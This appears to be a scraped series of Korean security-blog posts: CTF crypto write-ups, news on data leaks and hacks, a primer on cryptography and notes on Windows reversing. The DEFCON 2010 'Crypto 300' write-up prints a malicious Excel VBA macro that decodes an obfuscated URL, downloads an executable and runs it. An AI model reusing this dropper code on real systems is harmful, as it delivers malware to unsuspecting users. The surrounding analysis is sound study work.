[Crypto 300]

 

[문제설명]

문제에서 제공하는 엑셀파일을 다운받아 실행하면 VB로 만든 게임이 실행된다. 양이 기어다닌다.

예전에 유행했던 프로그램이었는데…..

실제 패킷 캡쳐를 해보면 서버에서 ram.exe파일을 받아 온다. Ram.exe를 실행해도 양이 기어다닌다. 하지만 결국 이 파일은 Fake이다.



문제 파일을 다운로드 후 Passware Password Recovery kit Forensic Version 9.0으로 엑셀파일의 메크로에 설정되어 있는 암호를 크랙함

 

기존의 c300_f75bec6f545034716.xls파일에 패스워드를 대입하면 열리지 않는다.

 

Unprotected file : c300_f75bec6f545034716-unprotected.xls 에서 Visual Basic Editor를 실행  Y6HA1H” 입력하면 project에서 소스코드를 확인할 있다.

 

 

 

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _

  "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _

  szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

 

Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _

  (ByVal hwnd As Long, _

   ByVal lpOperation As String, _

   ByVal lpFile As String, _

   ByVal lpParameters As String, _

   ByVal lpDirectory As String, _

   ByVal nShowCmd As Long) As Long

 

Private Sub GF()

    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")

    FL = X("51092F16535C6F003A56")

    RV = URLDownloadToFile(0, WL, FL, 0, 0)

 

End Sub

 

Private Sub EX()

    Dim OF As String

    On Error Resume Next

    UP = X("51092F")

    OF = X("40521E4A574924")

    RV = ShellExecute(0, "open", OF, "", UP, 3)

 

End Sub

 

Private Function X(DI As String) As String

    Dim CK, sDO As String

    Dim lDP, iXV1, iXV2 As Integer

   

    On Error Resume Next

   

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

    For lDP = 1 To (Len(DI) / 2)

        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))

        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))

        sDO = sDO + Chr(iXV1 Xor iXV2)

    Next lDP

   X = sDO

End Function

 

Sub Rectangle1_Click()

    Asteroids.Show False

    Call MN

End Sub

 

Function KG()

     KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _

            Worksheets("Sheet2").Range("E8761")

End Function

 

Sub MN()

    Dim SD As Date

    Dim ED As Date

    Dim CD As Date

   

'    On Error Resume Next

   

    SD = X("071C41571D03715472")

    ED = X("071C41521D03715472")

   

    CD = Date

   

    If (CD >= SD) And (CD < ED) Then

        Call GF

        Call EX

    End If

End Sub

 

 

 

 

Sheet2(Data)를 살펴보면 visible이 숨김으로 표시되어 있으므로 변경하여 활성화 시켜준다.


 

다음과 같이 Data 쉬트가 활성화 된다.

 

다음 CK 부분이 중요함

CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

-AU2-

 

 

-BE4866-

 

-Z9550-

 

 

Key : a23sd21AeB349sdfWewrfw29552

 




'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 100  (0) 2010.05.31

[crypto 100]

 

Decrypt please

Ocmln. up.'g.bjf abanfoco odrgne er yd. ypcjt d.p. /,.nnw urp yd. mroy lapy=v

Ydco y.qy ,ao ,pcyy.b gocbi a ol.jcan t.fxrapew br bry .pirbrmcjw frg aoodayv

WdcbyV Yd. t.f frg ap. nrrtcbi urp co yd. bam.oat. ru ydco t.fxrapev WzdcbyV

 

드보락(dvorak) 자판은 오거스트 드보락 박사가 제안한 영문 글자판이다.

dvorak keyboard를 이용하여 풀면 된다.

 


http://wbic16.xedoloh.com/dvorak.html

 

Simple frequency analysis should do the trick here [well, for the most part].

This text was written using a special keyboard, no not ergonomic, you asshat.

<hint> The key you are looking for is the namesake of this keyboard. </hint>

문장을 해석하면 드보락에 관한 내용이다.

 

Key : dvorak


'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 300  (0) 2010.05.31
복사기도 다기능, 대용량으로 업그레이드 되면서 이런 사건도 일어 나는 구나...
예전에 읽었던 "네트워크를 훔쳐라"에 나온 프린트를 해킹에 이용했던 내용이 생각나는군^^


美서 급여명세·마약단속 기록도 유출

(서울=연합뉴스) 박용주 기자 = 2000년대 이후 출시된 복사기는 디지털 기능으로 중무장, 복사뿐 아니라 스캐너와 이메일 기능도 탑재하고 있다.

   스마트 복사기의 출현이 과연 좋기만 할까?
17일(현지시각) 미국 CBS방송을 보면 그렇지만은 않은 듯하다. 디지털 복사기가 개인정보가 유출되는 새로운 사각지대로 부상하고 있기 때문이다.

   CBS 조사 결과에 따르면 2002년 이후 출시된 대다수의 신형 복사기에서 보안상의 결함이 발견됐다.
   문제는 복사기를 통과하는 내용이 디지털 파일 형태로 복사기 내 하드 드라이브에 저장된다는 점이다.
   중고 복사기는 어렵지 않게 구입할 수 있고, 인터넷 상에서 공짜로 구할 수 있는 소프트웨어만 가동하면 그동안 복사기를 통과한 수많은 기록을 몇 시간이면 빼낼 수 있다.
   조사팀은 한 학교의 복사기에서 수백 명에 달하는 학생의 이름, 주소, 휴대전화 및 사회보장번호를 빼내는 데 성공했다.
   그 정도는 약과다.
   한 경찰서 복사기에선 가정폭력 고소장에 이어 마약 단속 목표 지점까지 줄줄이 쏟아져 나왔다. 뉴욕의 한 건설회사 복사기에선 이름과 주소, 사회보장번호와 함께 개인의 급여 명세가 담긴 표가 나왔다. 의료 서비스회사에선 개인의 질병 관련 기록이 추출됐다.
   민주당 에드워드 마키(매사추세츠) 하원의원은 이에 대해 우려를 표명하며 관계 당국의 조사를 촉구했다.
   미 연방거래위원회(FTC)는 이에 따라 복사기 업체와 중고 매매상, 소매업체 등을 대상으로 개인정보보호 방안 마련 작업에 착수했다.

출처 :
http://www.yonhapnews.co.kr/economy/2010/05/18/0302000000AKR20100518159500009.HTML


1. 암호의 기본 개념

암호화는 적절한 지식(키정보)을 가지고는 해독되지만 그렇지 않으면 읽을 수 없는 형태로 데이터를 변환시키는 과정이다. 암호화의 목적은 전달하고자 하는 사람이외에는 암호화된 데이터를 획득한 사람에게 조차도 해당 정보를 감춤으로써 프라이버시를 보장하자는 것이다. 복호화(Decryption)는 암호화의 역처리로서 암호화된 데이터를 다시 해독 가능한 형태로 되돌리는 변환 과정이다.

암호화와 복호화는 일반적으로 키라 불리는 몇가지 비밀 정보의 사용을 요구한다. 어떤 암호 매커니즘에서는 동일한 키를 암호화와 복호화 모두에 사용하지만 또 다른 메커니즘에서는 그들 처리과정에 사용하는 키를 서로 다르게 한다. 여기서 전자의 경우를 대칭키 혹은 비밀키 암호 메커니즘이라 하며 후자를 비대칭키 혹은 공개키 암호 매커니즘이라고 한다.

최근 들어 암호 분야는 또 다른 이용 영역을 포함하기도 한다. 아주 간단한 암호학적 도구를 이용하여 전자 현금을 이용한 지불 수단으로 이용하도록 하는 정교한 방식과 프로토콜을 구현할 수 있도록 할 수 있다. 이와 같은 것은 원래의 정보자체는 공개하지 않으면서도 관련 정보를 알고 있음을 증명하거나 혹은 비밀의 일부를 이용하여 특정 비밀을 재 구축할 수 있는 방법으로 어떤 비밀을 공유하는 방법을 통하여 할 수 있다.

2. 암호시스템의 분류

키관리 측면에서 암호시스템은 비밀키(대칭키) 또는 관용 암호시스템(conventional crypto-system)과 공개키(비대칭키) 암호시스템(Public key cryptosystem)으로 분류한다.

비밀키 암호시스템은 송 · 수신자가 동일한 키에 의하여 암호화 및 복호화 과정을 수행하므로 키를 안전하게 전송하고 보관함에 있어 어려움이 야기되기 때문에 키 관리가 필연적으로 요구된다. 이러한 키 관리의 어려움을 해결하기 위하여 제시된 개념이 공개키 암호시스템 이다.

공개키 암호시스템은 암호화와 복호화 과정에서 서로 다른 키를 사용하고, 암호화 키를 공개하여 키의 전송 및 비밀 보관 등을 필요없게 만든 시스템이다. 1976년 W. Diffie와 M. E. Hellman은 논문 New Directions in Cryptography에서 공개키 암호시스템이란 개념을 최초로 제시하였다. 그 후 공개키 개념을 실현하기 위하여 여러 알고리즘이 발표되었지만 현재 안전성을 인정받고 있는 공개키 알고리즘은 RSA와 Merkle-Hellman 알고리즘 등이 있다.

3. 비밀키(대칭키) 암호시스템

비밀키 암호기법은 정보를 암호화 할 때와 복호화 할 때 같은 키를 사용하는 알고리즘을 이용하는 방식을 말한다. 고전적인 모든 암호기법이 비밀키 암호기법에 속하며, 공개키 암호 방식이 나오기 전까지의 모든 암호시스템은 비밀키 암호기법을 이용해 왔다. 비밀키 암호화는 공개키 알고리즘에 비해 알고리즘이 매우 간단하므로 속도가 월등히 빠르고, 소프트웨어로 구성시 화일의 크기가 작으며, 하드웨어로 구현하는 경우 회로가 간단해지는 경제적인 이유로 널리 이용되고 있다. 비밀 키 암호방식을 위한 알고리즘의 종류에는 데이타를 취급하는 단위의 크기에 따라 데이타를 큰 블록으로 나누어 암호화하는 블록 사이퍼(block cipher)와 비트나 단위로 암호화하는 스트림 사이퍼(stream cipher)로 크게 나눈다. 현재 대표적인 비밀키 알고리즘은 1977년 공표된 DES (Data Encryption Standard)이다. DES는UNIX운영체제의 패스워드를 암호화하는 "crypt"에 이용되며 특히 미국과 유럽의 은행에 의해 EFT(Electronic Fund Transfer)시스템에 이용되는 등 널리 사용되고 있다.

비밀키 암호시스템에는 크게 블록 암호시스템과 스트림 암호시스템이 있으며 그 개념은 다음의 (그림 2)와 같다.

가. 블록 암호시스템

블록 암호는 고정된 길이의 블록 평문(Plaintext: 암호처리가 안된 문장) 데이터를 같은 길이의 암호문(ciphertext: 암호처리된 문장) 데이터로 변환시키는 비밀키 암호 알고리즘의 한 형태이다. 복호화는 암호화에 사용된 것과 같은 비밀키(secrete key)를 이용하여 암호문 블록에 역변환을 적용하여 처리된다.

? 블록 암호시스템의 종류

현재 많이 쓰이고 있는 블록 암호 알고리즘들은 DES, IDEA, FEAL, LOKI, GOST, SAFER, MISTY등의 블록암호 알고리즘들이 있으며 이들의 특징은 다음의 <표 1>과 같다.

? 블록 암호시스템의 운용모드

임의의 길이 메시지를 암호화시키기 위하여 블록 암호를 이용할 때 블록 암호를 위한 운용모드를 이용하는데, 운용모드를 유용하게 이용하기 위해서는 사용된 암호자체 만큼 안전하고 효율적으로 처리해야 한다는 것이다. 또한 이러한 모드는 기본적인 암호의 고유 속성이외의 속성을 가질 수도 있다. 어떤 블록 크기의 블록 암호에도 적용할 수 있는 일반화된 네 가지의 운용모드가 국제 표준인 ISO/IEC 10116으로 표준화되어 있으며, 이러한 모드에는 ECB(Electronic Code Block), CBC(Cipher Block Chaining), CFB(Cipher Feedback), 그리고 OFB(Output Feedback)가 있다.

나. 스트림 암호시스템

스트림 암호는 대칭 암호 알고리즘의 한 형태이며, 이는 블록 암호보다도 훨씬 빠르게 설계될 수 있다. 블록 암호가 큰 블록의 데이터에 대하여 동작을 하는 반면에 스트림 암호는 비트 단위로 동작한다. 하나의 블록암호에 의한 어떤 특정 평문의 암호화는 같은 키를 사용하는 경우 같은 크기의 암호문을 생성한다. 스트림 암호의 경우, 이러한 조그만 평문 단위의 변환은 암호화 과정동안 만나게 되는 상황에 따라 달라질 것이다.

스트림 암호는 키 스트림을 생성하고 암호화는 키 스트림과 해당 평문을 비트 단위로 배타적 논리합 연산에 의해 처리한다. 키 스트림의 생성은 평문과 암호문과는 서로 독립적으로 처리하거나 혹은 해당 데이터와 그의 암호문에 종속적으로 처리할 수도 있다. 스트림 암호시스템에는 동기 및 자기동기 스트림 암호시스템이 있는데 대부분의 스트림 암호의 설계는 동기 스트림 암호이며 특성은 <표 3>과 같다.

또한, 일회용 패드(one-time pad)방식이 있는데, 최근 스트림 암호의 관심은 일회용 패드의 이론적인 성질에 모아지고 있다. Vernam암호라고 하는 일회용 패드는 거의 랜덤하게 생성되는 비트열을 이용한다. 이러한 키 스트림은 평문 메시지와 같은 크기이며, 앞서 생성된 임의 비트열은 암호문을 생성하기 위하여 평문과 비트 단위로 배타적 논리합을 취한다. 전체 키 스트림은 랜덤하므로 무한한 계산 능력을 갖는 공격자일지라도 그가 암호문을 아는 경우에만 평문을 유추해 낼 수 있다. 이러한 암호를 완전암호(perfect secrecy)라고 하며 일회용 패드의 분석이 현대 암호의 중요한 이슈의 하나이다.

4. 공개키(비대칭키) 암호시스템

중요한 정보를 안전하게 보호하고자 고대로부터 사용되어 온 암호의 최대 난제는 암호화 과정에 사용되는 키를 안전하게 분배시키는 일이다. 이의 해결방안은 1976년 Diffie와 Hellman에 의해 제안된 공개키 암호기법의 개념을 이용하는 것으로 이 암호기법은 키에 관한 정보를 공개함으로써 키관리의 어려움을 해결하고자 하는 방식이다.

공개키 암호시스템은 암호화 할 때 사용하는 키(공개키: Public Key)와 복호화 할 때 사용하는 키(비공개키: Private key)를 다르게 생성하여 공개키는 공개하고 비공개키만 안전하게 유지하는 방식이다. 따라서, 비밀키 암호시스템에서 전제로 하였던 키의 안전한 분배는 필요없다.

공개키 암호 기법의 주요 장점은 안전성은 물론 편의성이 대폭 개선되었다는 것이며, 또 다른 장점으로는 메시지 내용 또는 발신원에 대한 부인을 방지할 수 있는 전자서명(digital signature) 기능을 제공한다는 것이다.

그리고 공개키 암호기법의 단점은 암호화의 처리속도가 비밀키 기법에 비하여 비교적 느리다는 것이다. 현재 이용 가능한 공개키 암호화 방법에 비하여 훨씬 빠른 비밀키 암호화 방법이 많이 있다. 그럼에도 불구하고 공개키 암호기법은 이 두 기법들의 장점들을 이용하기 위하여 비밀키 암호기법과 함께 이용할 수 있다. 즉, 암호화를 위하여 가장 좋은 해결 방안은 공개키 시스템의 안전성에 대한 장점과 비밀키 시스템에서의 속도에 대한 장점을 모두 얻기 위하여 이 두 기법을 상호 보완적으로 혼용한다는 것이다.

공개키 암호시스템의 경우, 아직까지 표준화된 알고리즘은 없으나, 1978년 개발된 소인수 분해의 난해성(Factoring Problem)을 기반으로한 RSA(The Rivest-Shamir-Adleman) 알고리즘이 사실상 표준으로 범세계적으로 수용되고 있으며, NIST가 NSA(National Security Agency)와 공동으로 이산대수의 문제(Discrete Logarithm Problem)를 기반으로 개발한 DSA(Digital Signature Algorithm)가 디지털 서명 표준의 일부로 공표되어 있다. 그외에도 1985년에 개발된 이산대수 문제에 기반을 둔 ElGamal과 타원곡선 이산대수 문제에 기반을 둔 Ellipse Curve, 그리고 1997년 근접 벡터를 찾는 문제를 기반으로 한 Lattice 알고리즘 등이 있다. ♣ <H.D>

[출처] http://kidbs.itfind.or.kr/WZIN/jugidong/939/93903.html
미국에서 이메일을 통한 부재자 투표를 실시한다는데...33개 주에서 약 330만명이 투표에 참여한다.
우리나라에서는 아직까지 시도되지 못하고 있는데(기술은 다 되어 있다고 알고 있다.)..미국은 어떤 결과가 나올지 기대된다.^^
기밀성, 무결성, 부인방지 등을 위해 보안기술이 총 동원 되야 할듯하다...^^;;;


출처 : http://news.joins.com/article/215/4163215.html?ctg=13

[기사 내용]

11월 중간선거부터 … 33개주 300만 명 대상

미국 선거에서 인터넷을 통한 투표가 본격적으로 실시될 예정이라고 뉴욕 타임스(NYT)가 9일(현지시간) 보도했다.

NYT에 따르면 최근 미국 선거지원위원회(EAC)는 11월 중간선거부터 해외 거주자와 군인 등 선거 당일 투표소에 나올 수 없는 유권자들을 대상으로 e-메일을 통해 투표권을 행사할 수 있도록 할 방침이다.

이 같은 조치는 해외거주자나 군인 등의 투표용지가 너무 늦게 도착하거나 분실되는 등의 사고가 잦은 문제점을 해결하기 위해 취해졌다. 미 선거기관의 평가에 따르면 2008년 미국 대선 당시 약 22%의 해외 거주자와 군인들이 이런 이유로 투표권을 행사하지 못했다.

e-메일 투표를 할 수 있는 유권자 수는 이번에 우선적으로 인터넷 선거가 실시되는 33개 주 내에서 300만 명에 달할 것으로 추산되고 있다. 예전에도 일부 주에서 e-메일이나 팩스 등을 통한 투표가 실시되기는 했지만 이는 일부 지역에 국한되거나 전투 중인 군인 등이 대상이었다. 이에 따라 전문가들은 본격적인 인터넷 선거제가 도입되는 이번 중간선거에서 e-메일 투표가 적지 않은 변수가 될 것으로 보고 있다.

이에 대해 사이버 보안 전문가 등은 “e-메일 투표는 해킹 등을 통해 특정 후보를 선택한 유권자의 신분이 노출될 가능성이 있다”며 “이는 비밀선거의 원칙에 위배된다”고 우려했다. 또 “투표 사이트가 악의적인 공격을 당할 경우 시스템에 문제가 생겨 투표 자체가 불가능해질 수도 있다”고 지적했다. 일각에선 “이번 인터넷 선거제는 여론을 충분히 수렴하지 않은제도이며 투표 시스템을 만든 업체가 보안 테스트를 직접 하는 것도 문제”라고 지적했다.


구조화된 예외 처리(Structured Exception Hadling)

-       SEH : OS가 발생한 예외를 구조화된 방법으로 App에게 전달하는 메커니즘을 제공함

-       예외(exception)는 예외 핸들러라고 불리는 특별한 함수로 즉각 점프하게 하는 프로그램 안에서의 특별한 조건

-       예외 핸들러는 발생한 문제점을 해결할 것인지,

                                     프로그램이 동일한 코드를 다시 실행하게 만들 것인지,

                                     프로그램의 다른 부분이 실행되게 할 것인지,

                                     프로그램을 종료할 것인지

결정함

 

 

  하드웨어 예외

-       프로세스가 만들어 내는 예외

Ex: 유효하지 않은 메모리 접근, 0나누기 등

 

  소프트웨어 예외

-       프로그램이 에러를 보고하기 위해서 예외를 생성할 때 발생

Ex: C++에서 throw키워드 이용

 


'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing] Segment, Offset  (0) 2010.07.02
[Reversing] Ollydbg 단축키  (0) 2010.07.02
[Reversing]Input and Output  (0) 2010.05.10
[Reversing]실행 포멧  (0) 2010.05.08
[Reversing]API  (0) 2010.05.04

 입력과 출력

- 로우레벨 계층의 I/O 시스템 : 하드웨어 등과의 통신 담당
- 하이레벨 계층의 Win32 서브시스템 : GUI를 구현하고 사용자 입력 처리 작업 담당

  I/O 시스템

-       시스템에서 동작하는 디바이스 드라이버를 관리

-       App과 디바이스 드라이버 간의 통신 담당 커널 컴포넌트들로 구성됨

-       App의 디바이스 드라이버에 대한 요청을 전달하는 작업을 담당함

-       계층 구조로 이루어짐(각 디바이스에 대해 여러 개의 디바이스 드라이버가 스택구조로 존재할 수 있음 : 드라이버와 App 간이나 두 드라이버 간의 통신을 모니터링하거나 변경하기 위한 필터 드라이버 추가에 적합)

-       각 드라이버 간의 연결을 책임지고 담당

 

  Win32 서브시스템

-       윈도우 사용자 인터페이스의 모든 부분을 담당하는 컴포넌트

-       GDI(Graphics Device Interface)라고 하는 로우레벨 그래픽 엔진과 윈도우창, 메뉴, 사용자 입력 처리와 같은 하이레벨의 GUI를 처리하는USER컴포넌트로 구성됨

 

# Win32 서브시스템 동작방식

-       Win32 서브시스템은 모든 Win32 API를 담당하는 것이 아니고, 단지 USER, GDI 부분만을 담당함

-       커널 레벨의 WIN32K.SYS에 의해서 구현되고 유저레벨의 USER32.DLL GDI32.DLL에 의해서 관리됨

-       유저모드 DLL과 커널 컴포넌트 사이의 통신은 기존의 시스템 콜 방식을 이용해서 이루어짐

 

  객체 관리자

-       USER, GDI는 윈도우 초기 버전부터 존재해 왔으므로 커널 객체 관리자를 사용하지 않음

-       자신만의 작은 객체 관리 메커니즘 이용함

-       윈도우 창, 디바이스 컨텍스트와 같은 Win32 객체에 대한 핸들값 → 객체 테이블에 대한 인덱스

-       객체 테이블은 커널 메모리에 저장됨(읽기 모드)

-       USER, GDI 핸들 테이블은 전역(global)

'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing] Ollydbg 단축키  (0) 2010.07.02
[Reversing]구조화된 예외 처리(SEH)  (0) 2010.05.10
[Reversing]실행 포멧  (0) 2010.05.08
[Reversing]API  (0) 2010.05.04
[Reversing]프로세스 동기화, 초기화 과정  (0) 2010.05.04

 ▣ 실행 포맷

윈도우 실행파일 포맷인 PE(Portable Executable)의 기본적인 구조 이해

    기본 개념

-       실행파인은 재배치 될 수 있음(로드될 때마다 다른 가상 메모리 주소에 로드될 수 있음)

-       OS는 각 프로세서마다 고유한 주소 공간을 제공하지만 주소 공간에는 여러 개의 실행 바이너리들이 로드됨

-       프로그램은 자신의 주소 공간에 실행파일뿐만 아니라 DLL과 같은 추가적인 실행 모듈들을 로드함

-       기존에 사용하고 있는 주소에 다른 프로그램이 해당 주소를 사용하려고 하는 경우 다른 주소에 로딩해야 되는데 이때 재배치 작업을 수행함

 

MOV    EAX,   DWORD  PTR [pGlobalVariable]

위 코드는 전역변수에 접근하는 전형적인 코드

컴파일러와 링커가 pGlobalVariable에 대한 주소로 어떤 값을 사용해야 하는가?

→일반적으로 파일의 시작 지점으로부터의 상대주소를 생각할 수 있다. 이 주소를 사용할 경우 어느 주소로 로드되는지 걱정할 필요가 없다. 그러나위의 코드는 프로세서가 직접 실행하는 코드이다. 따라서 로더는 코드상의 모든 주소를 정확한 위치를 가리키는 절대주소로 변환한다.

 

# 재배치가 중요한 이유

-       실행모듈헤더에서는 절대주소가 사용되지 않고 코드에서만 절대주소가 사용되기 때문

-       실행 모듈 헤더에서는 항상 상대가상주소(RVA, Relative Virtual Address : 단순 offset)를 상요함

-       실행 모듈이 로드되고 가상주소를 할당받을 때 로더는 실제 가상주소를 계산함

(모듈의 Based Address + RVA = 실제 가상주소)

 

    이미지 섹션

-       실행이미지는 여러가지 섹션으로 나누어 짐

-       코드(text)섹션 : 실행모듈의 코드 포함

-       데이터섹션 : 데이터 포함

-       실행 모듈 로딩 시 메모리 관리자는 섹션 헤더의 설정 내용에 따라 각 섹션에 해당하는 메모리 페이지에 대한 접근 권한 설정함

Char   szMessage[] = “Welcome to my program!”;

위의 코드에서 컴파일러는 실행 이미지의 어딘가에 정의된 문자열을 저장해야 함

위의 문자열은 초기화된 데이터이며 따라서 해당 문자열과 그것을 가리키는 변수는 초기화된 데이터 섹션에 저당됨

 

 

    섹션 정렬

-       메모리에 로드되는 섹션의 크기는 일반적으로 페이지 크기의 배수

-       반대로 실행 이미지를 페이지 크기 단뒤로 디스크에 저장하면 실제 필요한 용량보다 훨씬 큰 용량을 차지함(디스크 낭비)

 

→ 위의 이유로 인해 PE헤더는 섹션정렬을 위한 두개의 필드가 존재함

섹션정렬 필드 : 실행 이미지를 메모리에 로드할 때 사용

파일정렬 필드 : 파일을 디스크에 저장할 때 사용

 

    동적 링크 라이브러리(DLL)

-       동적 링크 라이브러리의 개념

프로그램은 하나 이상의 실행 파일로 분리될 수 있고, 각 실행 파일은 프로그램 기능의 일부분이나 일부 기능을 수행하는 것

           장점 : 필요한 기능을 제공하는 실행 모듈만 로드해서 사용함(메모리 낭비를 줄임)

                  프로그램의 기능 변경시 해당 모듈만 변경하거나 추가하면 됨

    정적 라이브러리(.lib)

-       실행 모듈에 영구히 링크됨

-       프로그램이 빌드될 때 .lib파일안의 코드를 원래 소스코드의 일부분인 것처럼 실행 모듈에 정적으로 링크시킴

-       실행 모듈이 로드될 때 OS는 로드된 실행 모듈안에 정적라이브러리가 있다는 것을 알지 못함. 이는 같은 정정적라이브러리가 포함된 A, B프로그램이 있다면 정정라이브러리가 중복되서 로드될 것임(메모리 낭비가 발생할 수 있음)

 

    윈도우 프로그램 실행 시 DLL로드 방법

(1)   정적링크

-       실행 이미지의 임포트 테이블 안에 다른 실행모듈에 대한 정보를 포함시키는 과정

-       실행 이미지가 사용하는 모듈들도 같이 로드함

-       해당 모듈들에 대한 모든 외부 레퍼런스 정보를 올바르게 맞춤

 

(2)   동적링크

-       실행 이미지가 런타임 시에 다른 실행 모듈에 대한 로드여부를 판단함

-       런타임 시에 모듈을 직접 로드하고 로드한 모듈 이미지의 헤더를 검색해서 호출하고자 하는 함수를 찾아야만 함

  리버싱 관점에서 볼 때 정적 링크 방법은 어떤 모듈의 어떤 함수를 사용하는지 전부 할 수 있으므로 좀더 다루기 쉽다


    헤더(Header)

-       PE파일은 DOS헤더로 시작함

-       하위 호환을 위한 부분으로 DOS시스템에서 PE파일이 실행될 때 에러처리를 하기 위함

(ex: “This program connot be run in DOS mode”라는 메시지가 나타나는 경우가 있는데, DOS상에서 PE실행 이미지를 실행 시킬 수 없다는 의미 → 이 메시지를 출력하기 위해서 PE실행 이미지에는 작은 16bit DOS 프로그램을 포함)

-       헤더 안의 모든 포인터는 절대주소가 아닌 RAV값임

-       유용한 정보들은 PE헤더 안의 추가적인 데이터 구조체 배열인 DataDirectory 구조체 안에 포함됨

 

(1)   DOS 헤더

-       e_lfanew : 실제 PE 헤더를 가리키는 포인터

 

(2)   PE헤더

-       DOS헤더가 확장된 것임

 

    임포트와 익스포트

-       실행 이미지의 동적링크를 가능하게 해주는 메커니즘

-       컴파일러와 링커는 임포트하는 함수의 실제 주소를 알지 못함 → 실행 시에만 알 수 있음

(임포트 테이블 : 실행 이미지가 사용하는 각 모듈목록과 그 모듈에서 사용하는 함수 목록의 정보가 저장되어 있음)

-       모듈이 모드될 때 로더는 임포트 테이블에 명시된 모든 모듈을 로드 함

-       로드한 각 모듈의 함수 목록에 있는 함수들의 주소를 산출

-       함수 주소는 임포트한 모듈의 익스포트 테이블을 통해 산출

(익스포트 테이블 : 해당 모듈이 익스포트하는 모든 함수의 이름과 RVA를 가지고 있음)

 

    디렉토리

-       데이터 구조체

이름

설명

관련 구조체

export table

모듈의 모든 익스포트 함수 이름과 RVA를 포함

IMAGE_EXPORT_DIRECTORY

import table

·임포트하는 모듈과 함수 이름을 포함함

·함수별로 함수 이름 문자열(또는 서수)과 함수의 임포트 어드레스 테이블 엔트리를 가리키는 RVA를 포함

·모듈이 로드될 때 임포트한 함수의 실제 주소를 전달받는 시작점이 됨

IMAGE_IMPORT_DESCRIPTOR

resource table

·실행 모듈의 리소스 디렉토리 포인터

·리소스 디렉토리는 문자열, 대화상자 레이아웃, 메뉴와 같은 다양한 사용자 인터페이스 요소와 정적인 요소를 정의함

IMAGE_RESOURCE_DIRECTORY

Base Relocation table

모듈이 빌드되면서 설정된 로드 주소가 아닌 다른 주소로 로드되어야 할 때 재배치되어야 하는 주소들의 목록

IMAGE_BASE_RELOCATION

Debugging Information

·실행 모듈을 위한 디버깅 정보

·일반적으로 실질적인 디버깅 정보를 담고 있는 외부 심볼 파일에 대한 링크 정보를 제공함

IMAGE_DEBUG_DIRECTORY

Thread Local Storage table

·쓰레드 로컬 변수를 포함할 수 있는 실행 모듈의 쓰레드 로컬 섹션에 대한 포인터

·이 기능은 로더가 실행 모듈을 로드할 때 사용함

IMAGE_TLS_DIRECTORY

Load Configuration table

·LOCK prefix테이블(단일 프로세서 시스템이나 멀티 프로세스 시스템에 맞게 실행 모듈이 로드될 때 실행 모듈 이미지를 변경 가능)과 같은 다양한 이미지 설정 요소를 포함

·모듈의 예외 핸들러 목록 포함(악의적인 코드가 예외 핸들러를 설치하는 것을 방지하기 위함)

IMAGE_LOAD_CONFIG_DIRECTORY

Bound Import table

·바운드 임포트 엔트리 정보를 담고 있는 추가적인 임포트 테이블

·임포트한 실행 모듈의 실제 주소가 포함되어 있다는 것을 의미함(그 주소가 여전이 유효한지 확인하기 위함)

IMAGE_BOUND_IMPORT_DESCIPTOR

Import Address table(IAT)

·임포트된 각 함수의 목록을 포함

·실행 모듈이 로드될 때 각 임포트 함수의 엔트리가 해당 함수에 대한 실제 주소로 초기화 됨

32bit 포인터 목록

Delay Import Descriptor

·임포트한 함수를 처음 호출할 때 해당 함수의 실제 주소가 매핑되는 지연 임포트 로딩 메커니즘을 구현하기 위해 사용됨

·이 메커니즘은 OS가 제공하는 것이 아니라 C런타임 라이브러리에 의해서 구현됨

ImgDelayDescr

 [ PE파일 포맷의 디렉토리]

 


해킹 당한 URL 목록(외국 싸이트에서 퍼옴)
--> BEP.gov, BEP.treas.gov, Moneyfactory.gov, Moneyfactory.com


출처 : http://news.mk.co.kr/newsRead.php?sc=30000017&cm=%EA%B8%B0%EC%97%85%C2%B7%EA%B2%BD%EC%98%81%20%EC%A3%BC%EC%9A%94%EA%B8%B0%EC%82%AC&year=2010&no=230770&selFlag=&relatedcode=&wonNo=&sID=501
미국 재무부의 조폐국(BEP) 웹사이트가 해킹 공격을 받아 4일 폐쇄됐다. 클라우디아 디킨스 미 조폐국 대변인은 "BEP의 (웹사이트) 운영 업체가 (해커) 침입을 받아 수많은 웹사이트가 감염됐다"면서 3일 재무부 보안 부서로부터 이 같은 사실을 통보받고 BEP 웹사이트와 4개 관련 인터넷주소(URL)를 폐쇄했다고 밝혔다.

블로그를 통해 이번 해킹 사건을 처음 알린 한 인터넷 보안업체 관계자는 해킹 진원지로 우크라이나를 지목했다.


Application Programming Interface(API)

-       API OS App과 통신하기 위해서 제공하는 함수 모음

 

    Win32 API

-       로우레벨 프로그래밍 인터페이스 → 향후 하이레벨 인터페이스로 개발됨

-       계층적 구조 : 프로그래머들에게는 프로그래밍하기에 친숙하지만, OS는 모든 호출이 상위계층을 거치므로 다소 성능이 저하됨

-       윈도우에서 핵심적인 Win32 API는 약2,000

[Win32 인터페이스 DLL과 커널 컴포넌트와의 관계]

 

    Kernel API

-       Based API라고도 불리움

-       KERNEL32.DLL 모듈 안에 구현되어 있음

-       GUI와 관련되지 않은 서비스들, 즉 파일I/O, 메모리 관리, 객체 관리, 프로세스와 스레드 관리 등

-       NTDLL.DLL의 네이티브 API를 호출하여 다양한 서비스를 구현함

 

    Native API

-       Window NT 시스템의 실질적인 인터페이스

-       Win32 API는 네이티브 API에 상위 계층일 뿐

-       그래픽 관련 서비스를 포함하지 않음

